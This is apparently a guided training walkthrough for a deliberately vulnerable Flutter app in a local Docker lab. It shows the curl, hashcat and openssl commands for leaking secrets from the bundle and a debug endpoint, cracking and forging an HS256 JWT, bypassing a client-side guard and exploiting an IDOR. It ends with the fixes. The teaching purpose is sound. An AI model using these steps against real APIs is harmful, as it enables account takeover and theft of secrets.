إنتقل إلى المحتوى الرئيسي

Cloud, mobile and IoT — Guided demo

We apply, on a deliberately vulnerable Flutter app, the 2026 mobile pentest mindset: the client is never a security boundary, everything that ships on the phone eventually gets out, and the real control lives on the API side.

What you will be able to do

  • Recognize the five classic flaws of a poorly built Flutter app, by identifying them both from the bundle and from the API behavior.
  • Chain those flaws into a short path and a long path.
  • Know what to document in the report and what fix to expect from the developer.

Setup

The workshop uses a Docker lab under labs/docker/module-11-mobile-flutter/. Three containers:

  • app — nginx serving the Flutter Web build on http://localhost:8080.
  • api — Node/Express backend on http://localhost:3000.
  • attaquant — Kali workstation (inskillsec/kali-lab) on the internal network 10.20.40.0/24.

From the repo:

cd labs/docker/module-11-mobile-flutter
docker compose up -d

Check:

curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}

Open http://localhost:8080 in your browser: the Flutter Web login page appears.

Step by step

1. Visual recon — DevTools open

Load the page, open the Network tab before signing in. Click Sign in. You see a POST to http://localhost:3000/api/auth/login with a JSON body {"email":"...","password":"..."}. Take note of the domain, port, and body structure: this is your map of the API.

2. Grep the bundle

The Flutter Web app loads main.dart.js. Fetch it manually:

curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js

Expected output:

var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';

Three discoveries in one command:

  • The API URL (you already had it from DevTools, but this route works without a browser too).
  • A premium API key that should never have been in the client.
  • A debug endpoint the developer left in "for testing" and forgot.
Why that debug endpoint is a trap

On a real Flutter app, this kind of string comes out of a reFlutter or blutter dump of the libapp.so file inside the APK. The result is identical: the developer thinks Dart constants are "compiled", an attacker recovers them in one command. The lesson is platform-agnostic.

3. Short path — /api/debug/env

The path /api/debug/env is not part of the app's logic, it requires no authentication. You are already at destination:

curl -s http://localhost:3000/api/debug/env

Expected output:

{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}

You already have the flag. In a pentest report, this would be finding #1, exploitable by anyone, rated Critical. Document it.

4. Client-side bypass — dashboard without an account

Back in the browser. You have no token. Open the DevTools console:

localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';

The dashboard renders. After a second, it flips to "Session expired" and sends you back to login. Why?

  • The client-side guard (AuthService.isAuthenticated()) only checks localStorage.auth_token !== null. Writing any value passes.
  • The GET /api/me call with the fake token returns 401, the page detects it and redirects.

Lesson: a client-side guard is a design device, not a security device. A developer who relies on it alone thinks they are protected; they are not.

5. Long path — HS256 crack + admin forge

Register a normal account to capture a JWT:

curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Extract the token. Decode the header and payload:

TOKEN="<returned token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}

The header says HS256: the signature is an HMAC SHA-256 over header.payload with a shared secret. The secret lives only on the server side, but if it is weak, we can recover it by offline brute force:

echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Cracked value: s3cr3t2025. Optionally, verify with openssl that your token's signature matches this secret:

HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Must match what follows the second dot in $TOKEN.

Now forge a token with role=admin, sub=1:

NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"

6. IDOR — dump the cleartext admin password

You don't even need the forged JWT for IDOR: eve's normal token is enough, the API does not check ownership.

curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Expected output:

{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}

The password is cleartext on the backend side — second major hole to document. A real backend would store a bcrypt hash, but many amateur mobile apps store cleartext server-side.

7. Admin access — the flag through the front door

Finally, the admin endpoint:

curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Expected output:

{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}

Same flag as the short path, but obtained through the front door: this is what a real pentester would do to prove the complete chain, not just the trivial leak.

Reading the output

Three signals you must be able to state in front of a client:

  • Every Dart constant ends up in the binary. If your backend requires a secret, it has no business being in the mobile client. On the Flutter Web bundle as in an .apk, plain text search is enough.
  • HS256 is crackable as soon as the secret is not a random-generator output. s3cr3t2025 falls in seconds. A strong secret is at least 32 random bytes, base64-encoded. Even better: switch to RS256 with a key pair, the private key stays on the server.
  • IDOR = auth without authorization. A valid token is not a permission. Every endpoint that accepts an :id must verify that the caller owns or can see the resource.

Where things go wrong

  • You type the wrong curl and the API returns Missing token. Check the format Authorization: Bearer <token>, no stray quotes.
  • Hashcat says Line-length exception: your file must contain the whole JWT (three dot-separated parts) on one line, not just the signature.
  • IDOR returns 404: check the requested ID actually exists. 1, 2, 3 are the seeds; further IDs are your own registrations.